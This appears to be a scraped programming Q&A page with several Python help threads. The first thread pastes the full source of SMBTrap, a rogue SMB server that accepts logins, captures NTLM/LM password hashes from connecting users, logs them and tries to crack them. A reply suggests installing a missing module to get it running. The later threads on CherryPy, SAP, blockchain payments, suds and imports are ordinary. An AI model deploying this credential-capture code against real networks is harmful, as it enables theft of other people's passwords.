I can not run a python script - python

I'm new and I use a translator, sorry if you do not understand well
I'm trying to run a python script and I kali linux throws several errors. I do not understand python, I searched in google without finding solution
**root#Alien**:~/SMBTrap/smbtrap# python smbtrap2.py
Traceback (most recent call last):
File "smbtrap2.py", line 6, in <module>
from quickcrack import try_to_crack_hash
File "/root/SMBTrap/smbtrap/quickcrack.py", line 4, in <module>
from bitarray import bitarray
ImportError: No module named bitarray
**root#Alien**:~/SMBTrap/smbtrap#
Below I hit the code of the script I try to run
from impacket import smbserver, smb
import ntpath
from threading import RLock
import json
from quickcrack import try_to_crack_hash
"""
This script acts as an SMB server and gathers credentials from connecting users.
Developed by Brian Wallace #botnet_hutner
"""
sessions = {}
output_file_lock = RLock()
def report_authentication_attempt(connId, auth_details):
global output_file_lock
sessions[connId] = {"authentication": auth_details, "shares": []}
with output_file_lock:
with open("credentials.txt", "a") as f:
f.write(json.dumps(auth_details) + "\n")
if "UnicodePwd" in auth_details and auth_details['UnicodePwd'] != "":
print "{0}: {1}".format(auth_details['client_ip'], auth_details['UnicodePwd'])
password = try_to_crack_hash(auth_details['UnicodePwd'])
if password is not None:
print "{0}: {1}::{2} has password '{3}'".format(auth_details['client_ip'], auth_details["PrimaryDomain"], auth_details['Account'], password)
if "AnsiPwd" in auth_details and auth_details['AnsiPwd'] != "":
print "{0}: {1}".format(auth_details['client_ip'], auth_details['AnsiPwd'])
password = try_to_crack_hash(auth_details['AnsiPwd'])
if password is not None:
print "{0}: {1}::{2} has password '{3}'".format(auth_details['client_ip'], auth_details["PrimaryDomain"], auth_details['Account'], password)
def report_tree_connect_attempt(connId, connect_details):
session = sessions[connId]
if "client_ip" in session:
print "{2}: {0} accessed {1}".format(session['client_ip'], connect_details['Path'], connId)
session['shares'].append(connect_details)
sessions[connId] = session
def smbCommandHook_SMB_COM_SESSION_SETUP_ANDX(connId, smbServer, SMBCommand, recvPacket):
# Accept any authentication except for empty authentication
supplied_creds = False
# The following is impacket code modified to extract credentials
connData = smbServer.getConnectionData(connId, checkStatus=False)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
# Process Standard Security
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data(flags=recvPacket['Flags2'])
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
# Let's get those credentials
to_extract_from_session_setup_data = [
"Account",
"AnsiPwd",
"NativeLanMan",
"UnicodePwd",
"NativeOS",
"PrimaryDomain",
]
extracted_data = {}
for key in (i for i in to_extract_from_session_setup_data if i in sessionSetupData.__dict__['fields']):
extracted_data[key] = sessionSetupData[key]
if 'AnsiPwd' in extracted_data:
if len([i for i in extracted_data['AnsiPwd'] if i != "\x00"]) == 0:
# It's null, we should just remove it
extracted_data['AnsiPwd'] = ""
elif len(extracted_data['AnsiPwd']) == 24:
if 'UnicodePwd' in extracted_data and extracted_data['AnsiPwd'] == extracted_data['UnicodePwd']:
# Hash has been duplicated across fields, likely NTLM, not LM
extracted_data['AnsiPwd'] = ""
else:
extracted_data['AnsiPwd'] = extracted_data['AnsiPwd'].encode("hex") # long live Python 2.7
extracted_data['AnsiPwd'] = "{1}:$NETLM$1122334455667788${0}".format(extracted_data['AnsiPwd'], extracted_data['Account'] if 'Account' in extracted_data else "")
supplied_creds = True
else:
# its plaintext? lol
supplied_creds = True
pass
if 'UnicodePwd' in extracted_data:
if len(extracted_data['UnicodePwd']) >= 56:
# NTLMv2
hmac = extracted_data['UnicodePwd'][0:16].encode("hex")
rest = extracted_data['UnicodePwd'][16:].encode("hex")
extracted_data['UnicodePwd'] = "{0}::{1}:1122334455667788:{2}:{3}".format(extracted_data['Account'] if 'Account' in extracted_data else "", extracted_data['PrimaryDomain'] if 'PrimaryDomain' in extracted_data else "", hmac, rest)
supplied_creds = True
elif len(extracted_data['UnicodePwd']) == 24:
# NTLMv1?
extracted_data['UnicodePwd'] = extracted_data['UnicodePwd'].encode("hex")
extracted_data['UnicodePwd'] = "{1}:$NETNTLM$1122334455667788${0}".format(extracted_data['UnicodePwd'], extracted_data['Account'] if 'Account' in extracted_data else "")
supplied_creds = True
conn_data = smbServer.getConnectionData(connId, False)
extracted_data['client_ip'] = conn_data['ClientIP']
report_authentication_attempt(connId, extracted_data)
errorCode = smbserver.STATUS_SUCCESS if supplied_creds else smbserver.STATUS_LOGON_FAILURE
connData['Uid'] = 10
respParameters['Action'] = 0
smbServer.log('User %s\\%s authenticated successfully (basic)' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account']))
respData['NativeOS'] = smbserver.encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
respData['NativeLanMan'] = smbserver.encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
connData['Authenticated'] = supplied_creds
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def smbCommandHook_SMB_COM_NEGOTIATE(connId, smbServer, SMBCommand, recvPacket):
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY:
recvPacket['Flags2'] -= smb.SMB.FLAGS2_EXTENDED_SECURITY
return smbserver.SMBCommands.smbComNegotiate(smbserver.SMBCommands(), connId, smbServer, SMBCommand, recvPacket)
def smbCommandHook_SMB_COM_TREE_CONNECT_ANDX(connId, smbServer, SMBCommand, recvPacket):
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
treeConnectAndXData = smb.SMBTreeConnectAndX_Data(flags=recvPacket['Flags2'])
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
treeConnectAndXData.fromString(SMBCommand['Data'])
path = smbserver.decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
local_path = ntpath.basename(path)
service = smbserver.decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Service'])
report_tree_connect_attempt(connId, {"Path": path, "local_path": local_path, "Service": service})
return smbserver.SMBCommands.smbComTreeConnectAndX(smbserver.SMBCommands(), connId, smbServer, SMBCommand, recvPacket)
# Overriding this allows us to claim we have no shares, so we still get ANDX data, but don't need to share anything
def override_searchShare(connId, share, smbServer):
return None
smbserver.searchShare = override_searchShare
if __name__ == "__main__":
smbConfig = smbserver.ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global', 'server_name', 'server_name')
smbConfig.set('global', 'server_os', 'UNIX')
smbConfig.set('global', 'server_domain', 'WORKGROUP')
smbConfig.set('global', 'log_file', 'smb.log')
smbConfig.set('global', 'credentials_file', '')
smbConfig.add_section('IPC$')
smbConfig.set('IPC$', 'comment', '')
smbConfig.set('IPC$', 'read only', 'yes')
smbConfig.set('IPC$', 'share type', '3')
smbConfig.set('IPC$', 'path', '')
server = smbserver.SMBSERVER(('0.0.0.0', 445), config_parser=smbConfig)
server.processConfigFile()
server.registerNamedPipe('srvsvc', ('0.0.0.0', 4344))
# Auth and information gathering hooks
# Hook session setup to grab the credentials and deny any empty authentication requests
server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, smbCommandHook_SMB_COM_SESSION_SETUP_ANDX)
# Hook the negotiate call to disable SPNEGO
server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, smbCommandHook_SMB_COM_NEGOTIATE)
# Hook tree connect
server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, smbCommandHook_SMB_COM_TREE_CONNECT_ANDX)
server.serve_forever()

It looks like the quickcrack module depends on the external bitarray module. Have you tried installing it, e.g. pip install bitarray?
If you are using SMBTrap the dependencies are listed here.

Related

CherryPy WS is not returning string in UTF-8

I'm trying to build a REST Web Service with CherryPy and Python. It works, but when I access it through Chrome, it's not displaying in UTF-8.
This web service queries a MongoDB and then gives the results in a list of dictionaries. I did a print(ticketME) and it's showing the right characters:
But when it displays in Chrome, is not displaying right(and I'm also realizing that "solucion" or "problema" are not showing...):
As you can see in the code, I set the charset to UTF-8:
import cherrypy
import pymongo
import urllib
import pyodbc
import mysql.connector
from datetime import datetime
import time
import sys
import numpy as np
class HelloWorld(object):
#cherrypy.expose
#cherrypy.tools.json_out()
def index(self):
password = * password *
myclient = pymongo.MongoClient(*mongoDB connection string*)
mydb = myclient["moica2"]
mycol = mydb["moicaTickets"]
myquery = *mongoDB aggregate query*
mydoc = mycol.aggregate(myquery)
mydb = None
myclient.close()
mycol = None
resultadoTicketsME = []
for x in mydoc:
try:
asunto = x['pAsunto']
nrotkt = x['pTicket']
estado = x['pEstado']
fechaCreacion = x['pFechaCreacion']
fechaCierre = x['pFechaCierre']
nodoCRM = x['pNodoCRM']
nodoCMTS = x['pNodoCMTS']
if ('COMPLETO' in nodoCMTS):
nodoCMTS = "Completo"
RTs = x['pRTs']
notas = x['pNotas']
asuntoCierre = x['pAsuntoCierre']
estadoEtaClick = x['pEstadoEtaClick']
afectacion = x['pAfectacion']
problema = x['pProblema']
solucion = x['pSolucion']
arbolCreacion = x['pElArbolCreacion']
arbolActual = x['pElarbolActual']
idFuente = int(x['pFuente']['idFuente'])
ticketME = {
'nrotkt': nrotkt,
'asunto': asunto,
'estado': estado,
'fechaCreacion': fechaCreacion,
'fechaCierre': fechaCierre,
'nodoCRM': nodoCRM,
'nodoCMTS': nodoCMTS,
'RTs': RTs,
'notas': notas,
'asuntoCierre': asuntoCierre,
'estadoEtaClick': estadoEtaClick,
'afectacion': afectacion,
'problema': problema,
'solucion': solucion,
'arbolCreacion': arbolCreacion,
'arbolActual': arbolActual,
'idFuente': idFuente
}
print(ticketME)
resultadoTicketsME.append(ticketME)
except:
lf = open("error.log", "a+")
lf.write("MOICA2FUENTESME %s : No se pudo insertar el tkt %s\n" % (datetime.now().strftime("%Y-%m-%d %H:%M:%S"),x['pTicket']))
lf.close()
cherrypy.response.headers['Content-Type'] = "text/html;charset=utf-8"
return resultadoTicketsME
USERS = {'ngabioud': 'password'}
def validate_password(realm, username, password):
if username in USERS and USERS[username] == password:
return True
return False
cherrypy.config.update({'tools.encode.on': True,
'tools.encode.encoding': 'utf-8',
'tools.decode.on': True,
'tools.auth_basic.on': True,
'tools.auth_basic.realm': 'localhost',
'tools.auth_basic.checkpassword': validate_password,
'tools.auth_basic.accept_charset': 'UTF-8',
})
cherrypy.quickstart(HelloWorld())
Is there anything else I could try?
Thank you,
Best regards
As stated by snakecharmerb in the comment, it was a Chrome representing issue. I did a .php seting encoding to utf-8 and it showed correctly.

How to log into SAP silently using win32com methods?

I have a question about SAP silent logon which I implemented using win32com this way
from win32com.client import Dispatch
R3 = Dispatch("SAP.Functions")
R3.Conn.System = 'xxx'
R3.Conn.Client = '100'
# other values needed to pass to R3.Conn
R3.Conn.logon #here is the problem
In VB i can use R3.Conn.Logon(1, True) to make logon siliencely. But in Python Logon seems not to be a method and do not allow me to pass parameters to it.
I tried using R3.Conn.Logon(1, True) in Python, but it returned an error
Logon was not callable.
How should I call silent logon in Python?
Thanks
This works for me.
Still experimenting, I want to add field selection and of course a filter to the RFC_READ_TABLE. But the connection works.
from win32com.client import Dispatch
Functions = Dispatch("SAP.Functions")
Functions.Connection.Client = "000"
Functions.Connection.ApplicationServer = "your server"
Functions.Connection.Language = "EN"
Functions.Connection.User = "you"
Functions.Connection.Password = "your pass"
Functions.Connection.SystemNumber = "00"
Functions.Connection.UseSAPLogonIni = False
if (Functions.Connection.Logon (0,True) == True):
print("Logon OK")
RfcCallTransaction = Functions.Add("RFC_READ_TABLE")
strExport1 = RfcCallTransaction.exports("QUERY_TABLE")
strExport2 = RfcCallTransaction.exports("DELIMITER")
strExport3 = RfcCallTransaction.exports("ROWSKIPS")
strExport4 = RfcCallTransaction.exports("ROWCOUNT")
tblOptions = RfcCallTransaction.Tables("OPTIONS")
#RETURNED DATA
tblData = RfcCallTransaction.Tables("DATA")
tblFields = RfcCallTransaction.Tables("FIELDS")
strExport1.Value = 'AGR_DEFINE'
strExport2.Value = ";"
strExport3.Value = 0
strExport4.Value = 10
if RfcCallTransaction.Call == True:
print ("Function call successful")
#print (tblData.RowCount)
j = 1
while j < tblData.RowCount:
print (tblData(j,"WA"))
j = j + 1

Invalid JSON object when posting to an API - Python

I am using Blockchain.info's API to send multiple payments. I believe I have everything how it should be however when I run the code I get the following Error: RuntimeError: ERROR: Invalid Recipients JSON. Please make sure it is url encoded and consult the docs. The docs can be found here: https://blockchain.info/api/blockchain_wallet_api
The Python library I am using can be found here: https://github.com/p4u/blockchain.py/blob/master/blockchain.py
The only other post on this issue is posted by the original creator of the library, he said the problem was that the amounts cannot be a decimal, mine are not however.Post can be found here: https://bitcointalk.org/index.php?topic=600870.0
Here is my code:
from __future__ import print_function
from itertools import islice, imap
import csv, requests, json, math
from collections import defaultdict
import requests
import urllib
import json
from os.path import expanduser
import configparser
class Wallet:
guid = 'g'
isAccount = 0
isKey = 0
password1 = 'x'
password2 = 'y'
url = ''
def __init__(self, guid = 'g', password1 = 'x', password2 = 'y'):
if guid.count('-') > 0:
self.isAccount = 1
if password1 == '': # wallet guid's contain -
raise ValueError('No password with guid.')
else:
self.isKey = 1
self.guid = guid
self.url = 'https://blockchain.info/merchant/' + guid + '/'
self.password1 = password1
self.password2 = password2
r = requests.get('http://api.blockcypher.com/v1/btc/main/addrs/A/balance')
balance = r.json()['balance']
with open("Entries#x1.csv") as f,open("winningnumbers.csv") as nums:
nums = set(imap(str.rstrip, nums))
r = csv.reader(f)
results = defaultdict(list)
for row in r:
results[sum(n in nums for n in islice(row, 1, None))].append(row[0])
self.number_matched_0 = results[0]
self.number_matched_1 = results[1]
self.number_matched_2 = results[2]
self.number_matched_3 = results[3]
self.number_matched_4 = results[4]
self.number_matched_5 = results[5]
self.number_matched_5_json = json.dumps(self.number_matched_5, sort_keys = True, indent = 4)
print(self.number_matched_5_json)
if len(self.number_matched_3) == 0:
print('Nobody matched 3 numbers')
else:
self.tx_amount_3 = int((balance*0.001)/ len(self.number_matched_3))
if len(self.number_matched_4) == 0:
print('Nobody matched 4 numbers')
else:
self.tx_amount_4 = int((balance*0.1)/ len(self.number_matched_4))
if len(self.number_matched_5) == 0:
print('Nobody matched 3 numbers')
else:
self.tx_amount_5 = int((balance*0.4)/ len(self.number_matched_5))
self.d = {el: self.tx_amount_5 for el in json.loads(self.number_matched_5_json)}
print(self.d)
self.d_url_enc = urllib.urlencode(self.d)
def Call(self, method, data = {}):
if self.password1 != '':
data['password'] = self.password1
if self.password2 != '':
data['second_password'] = self.password2
response = requests.post(self.url + method,params=data)
json = response.json()
if 'error' in json:
raise RuntimeError('ERROR: ' + json['error'])
return json
def SendPayment(self, toaddr, amount, fromaddr = 'A', shared = 0, fee = 0.0001, note = True):
data = {}
data['to'] = toaddr
data['amount'] = self.tx_amount_5
data['fee'] = fee
data['recipients'] = self.d_url_enc
if fromaddr:
data['from'] = fromaddr
if shared:
data['shared'] = 'true'
if note:
data['note'] = 'n'
response = self.Call('payment',data)
def SendManyPayment(self, fromaddr = True, shared = False, fee = 0.0001, note = True):
data = {}
recipients = self.d_url_enc
data['recipients'] = recipients.__str__().replace("'",'"')
data['fee'] = str(fee)
if fromaddr:
data['from'] = 'A'
if shared:
data['shared'] = 'true'
else:
data['shared'] = 'false'
if note:
data['note'] = 'n'
response = self.Call('sendmany',data)
return response
print(Wallet().SendManyPayment())
Complete runtime error: Traceback (most recent call last):
File "D:\Documents\B\Code\A\jsontest.py", line 125, in <module>
print(Wallet().SendManyPayment())
File "D:\Documents\B\Code\A\jsontest.py", line 121, in SendManyPayment
response = self.Call('sendmany',data)
File "D:\Documents\B\Code\A\jsontest.py", line 86, in Call
raise RuntimeError('ERROR: ' + json['error'])
RuntimeError: ERROR: Invalid Recipients JSON. Please make sure it is url encoded and consult the docs.
What does data['recipients'] contain inside of your SendManyPayment() function? It looks like you are trying to do some manual encoding instead of using json.dumps(recipients)
The docs say it should look like this:
{
"1JzSZFs2DQke2B3S4pBxaNaMzzVZaG4Cqh": 100000000,
"12Cf6nCcRtKERh9cQm3Z29c9MWvQuFSxvT": 1500000000,
"1dice6YgEVBf88erBFra9BHf6ZMoyvG88": 200000000
}
Try this out for send many:
def SendManyPayment(self, fromaddr = True, shared = False, fee = 0.0001, note = True):
data = {}
recipients = self.d_url_enc
# recipients should be a json string FIRST!
data['recipients'] = json.dumps(recipients)
data['fee'] = str(fee)
if fromaddr:
data['from'] = 'A'
if shared:
data['shared'] = 'true'
else:
data['shared'] = 'false'
if note:
data['note'] = 'n'
response = self.Call('sendmany',data)
return response

python unable to access suds methods

I am trying to access the SOAP api using SUDS in python
from suds.client import Client
def initialize():
url = 'http://uuuuuuuuuuuuuuu.com/wewewe/WsNBI?wsdl'
username = 'xxxxx'
password = 'ppppppp'
client = Client(url)
print client
result = client.service.Login(nbiLogin NBILogin(username,password),)
print result
i am unable to invoke the Login method, any idea how i can do this?
these are the methods returned by the query...
Suds ( https://fedorahosted.org/suds/ ) version: 0.4 GA build: R699-20100913
Service ( WsNBIService ) tns="www.test.com"
Prefixes (1)
ns0 = "www.test.com"
Ports (1):
(WsNBIPort)
Methods (5):
GetClientAssociationInfo(nbiSession NBISession, clientAssociationReqData ClientAssociationReqData, )
GetEvent(nbiSession NBISession, eventReqData EventReqData, )
GetZDClientAssociationInfo(nbiSession NBISession, clientAssociationReqData ClientAssociationReqData, )
Login(nbiLogin NBILogin, )
Logout(nbiSession NBISession, )
Types (22):
GetClientAssociationInfo
GetClientAssociationInfoResponse
GetEvent
GetEventResponse
GetZDClientAssociationInfo
GetZDClientAssociationInfoResponse
Login
LoginResponse
Logout
LogoutResponse
authenticateResult
clientAssociationDetail
clientAssociationReqData
clientAssociationResult
eventDetail
eventReqData
eventResult
eventType
nbiLogin
nbiResult
nbiSession
requestType
UPDATE:
#!/usr/bin/env python
from suds.client import Client
def initialize():
url = 'http://xxxxxxx/xxxx/WsNBI?wsdl'
username = 'xxxxx'
password = 'pppppp'
client = Client(url)
login = client.factory.create("ns0:NBILogin")
print login
ws = login.nbiLogin(userName=username, password = password)
result = client.service.Login(ws)
print result
def main():
initialize()
if __name__ == "__main__":
main()
[root#server scripts]# ./flex_soap.py
(nbiLogin){
UserName = None
Password = None
}
Traceback (most recent call last):
File "./flex_soap.py", line 19, in ?
main()
File "./flex_soap.py", line 16, in main
flexMaster()
File "./flex_soap.py", line 12, in flexMaster
ws = login.nbiLogin(userName=username, password = password)
AttributeError: nbiLogin instance has no attribute 'nbiLogin'
UPDATE:
#!/usr/bin/env python
from suds.client import Client
def initialize():
url = 'http://xxxxx/intune/WsNBI?wsdl'
username = 'uuuuu'
password = 'pppp'
client = Client(url)
print client
login = client.factory.create("ns0:NBILogin")
print login
login.UserName = username
login.Password = password
result = client.service.Login(login)
print result
event = client.factory.create("ns0:EventReqData")
print event
def main():
initialize()
if __name__ == "__main__":
main()
[root#server scripts]# ./flex_soap.py
(nbiLogin){
UserName = None
Password = None
}
(authenticateResult){
Success = True
Session =
(nbiSession){
Id = "0eda1622-473c-4dd6-b68e-4ff3c1ee27f6"
}
}
(eventReqData){
EventType =
(eventType){
value = None
}
SerialNumbers =
(SerialNumbers){
SerialNumber[] = <empty>
}
}
any idea how i can get this method
GetEvent(nbiSession NBISession, eventReqData EventReqData, )
Your code is not a valid Python. Login(nbiLogin NBILogin, ) means that there is a method Login that accepts a single argument of type NBILogin. It is not a literal syntax that you should use. Try something like this:
login = client.factory.create("ns0:NBILogin")
login.UserName = username
login.Password = password
result = client.service.Login(login)
This output:
(authenticateResult){
Success = True
Session =
(nbiSession){
Id = "0eda1622-473c-4dd6-b68e-4ff3c1ee27f6"
}
}
means that result.Success == True and result.Session.Id == "0eda1622-473c-4dd6-b68e-4ff3c1ee27f6".
GetEvent(nbiSession NBISession, eventReqData EventReqData, ) means that you need 2 arguments of types NBISession and EventReqData.
The session you could get from result. To build EventReqData:
(eventReqData){
EventType =
(eventType){
value = None
}
SerialNumbers =
(SerialNumbers){
SerialNumber[] = <empty>
}
}
you need to create EventType and SerialNumbers:
event_req_data = client.factory.create("ns0:EventReqData")
event_req_data.EventType = "put some appropriate event type here"
event_req_data.SerialNumbers = [10, 51, 1] # some serial numbers
The above assumes that serial numbers are integers otherwise create each SerialNumber the same way as all other objects via client.factory.create():
sns = event_req_data.SerialNumbers = client.factory.create('ns0:SerialNumbers')
for item in [10, 51, 1]:
ns = client.factory.create('ns0:SerialNumber')
ns.value = item
sns.SerialNumber.append(ns)
I don't see SerialNumbers, SerialNumber types in the listing so it might fail.
If suds doesn't convert from string to EventType by itself then you could create EventType using client.factory.create() explicitly:
event_type = client.factory.create("ns0:EventType")
event_type.value = "put some appropriate event type here"
event_req_data.EventType = event_type
Make the call:
event = client.service.GetEvent(login.Session, event_req_data)

import doesn't works?

i'm doing some unittest with python, and all was going ok, but i got a problem so weird, with a import i think, follow the problem:
i'm trying to create a object GlanceApi in my test, like another tests that i've done, but i got this error:
======================================================================
ERROR: setUpClass (__main__.TestGlance)
----------------------------------------------------------------------
Traceback (most recent call last):
File "glance_tests.py", line 22, in setUpClass
self.glnce = glance.GlanceApi("")
AttributeError: 'module' object has no attribute 'GlanceApi'
and this is my code:
import unittest
import json
import time
import sys
sys.path.append("../src")
import glance
import novaapiclient
class TestGlance(unittest.TestCase):
#classmethod
def setUpClass(self):
confFile = file('config.txt', 'r+w')
configs = ""
for line in confFile:
if not (line.startswith('#')) and len(line) != 0:
configs = line.split(';')
novaAPI = novaapiclient.NovaApiClient(str(configs[0]))
novaAPI.make_auth(configs[1], configs[2], configs[3])
self.glnce = glance.GlanceApi() # << HERE ERROR
self.glnce.set_auth_obj(novaAPI.get_auth_obj())
It looks like another tests that i've done, but doesn't works to this case.
Thanks in advance.
This is the glance source:
import pycurl
import cStringIO
import os
class GlanceApi:
def __init__(self):
self.auth = ""
self.http_handler = ""
def set_auth_obj(self, authenticate):
self.auth = authenticate
def list_images(self, is_public=False, with_details=False):
if self.auth.is_authed() == False:
return False
self.http_handler = pycurl.Curl()
printer = cStringIO.StringIO()
if with_details == False:
url_complement = "/images"
else:
url_complement = "/images/detail"
if is_public == False:
full_url = str(self.auth.get_image_URL() + url_complement)
else:
full_url = str(self.auth.get_image_URL()[:30] + url_complement)
headers = ["X-Auth-Token:%s" % str(self.auth.get_auth_token())]
self.http_handler.setopt(pycurl.URL, full_url)
self.http_handler.setopt(pycurl.HTTPGET, 1)
self.http_handler.setopt(pycurl.HTTPHEADER, headers)
self.http_handler.setopt(pycurl.WRITEFUNCTION, printer.write)
self.http_handler.perform()
http_code = int(self.http_handler.getinfo(pycurl.HTTP_CODE))
self.http_handler.close()
return printer.getvalue()
def get_image_metadata(self, id, is_public=False):
if self.auth.is_authed() == False:
return False
self.http_handler = pycurl.Curl()
printer = cStringIO.StringIO()
url_complement = "/images/%s" % id
# Setting the request url according the is_public parameter.
if is_public == False:
full_url = str(self.auth.get_image_URL() + url_complement)
else:
full_url = str(self.auth.get_image_URL()[:30] + url_complement)
headers = ["X-Auth-Token:%s" % str(self.auth.get_auth_token())]
self.http_handler.setopt(pycurl.URL, full_url)
self.http_handler.setopt(pycurl.CUSTOMREQUEST, 'HEAD')
self.http_handler.setopt(pycurl.HTTPHEADER, headers)
self.http_handler.setopt(pycurl.WRITEFUNCTION, printer.write)
self.http_handler.perform()
http_code = int(self.http_handler.getinfo(pycurl.HTTP_CODE))
self.http_handler.close()
return printer.getvalue()
def add_image(self, file_path, name, is_public=False):
# Verifying if the user is authenticated.
if self.auth.is_authed() == False:
return False
self.http_handler = pycurl.Curl()
printer = cStringIO.StringIO()
url_complement = "/images"
if is_public == False:
full_url = str(self.auth.get_image_URL() + url_complement)
else:
full_url = str(self.auth.get_image_URL()[:30] + url_complement)
size = os.path.getsize(file_path)
image = [(str(name), (pycurl.FORM_FILE, str(file_path)))]
headers = ["X-Auth-Token:%s" % str(self.auth.get_auth_token()), "x-image-meta-name:%s" % name, "x-image-meta-size:%s" % str(size)]
if is_public == True:
headers.append("x-image-meta-is-public:true")
self.http_handler.setopt(pycurl.URL, full_url)
self.http_handler.setopt(self.http_handler.HTTPPOST, image)
self.http_handler.setopt(pycurl.HTTPHEADER, headers)
self.http_handler.setopt(pycurl.WRITEFUNCTION, printer.write)
self.http_handler.perform()
http_code = int(self.http_handler.getinfo(pycurl.HTTP_CODE))
self.http_handler.close()
return printer.getvalue()
this is the directory structure:
Project
+ src/
- glance.py
- ...
+ Tests/
- glance_tests.py
- ...
EDIT
RESOLVED, how? i've no idea, but i've done this, i create a new file named glanceapi.py, and copy the content the glance.py file, change the name at import and it works, i have no idea that what's the problem, could be some python bug, well, i want to say thanks to people that tried to help me.
Go to IDLE, and see what the PYTHONPATH is.
import sys
sys.path
And if the place where Glance is located is not found in the path, I suppose you would have to insert/append it using sys.path.append(). Look at how to do your parameters and stuff here: http://effbot.org/librarybook/sys.htm
EDIT: Let me know if this does not work.

Categories

Resources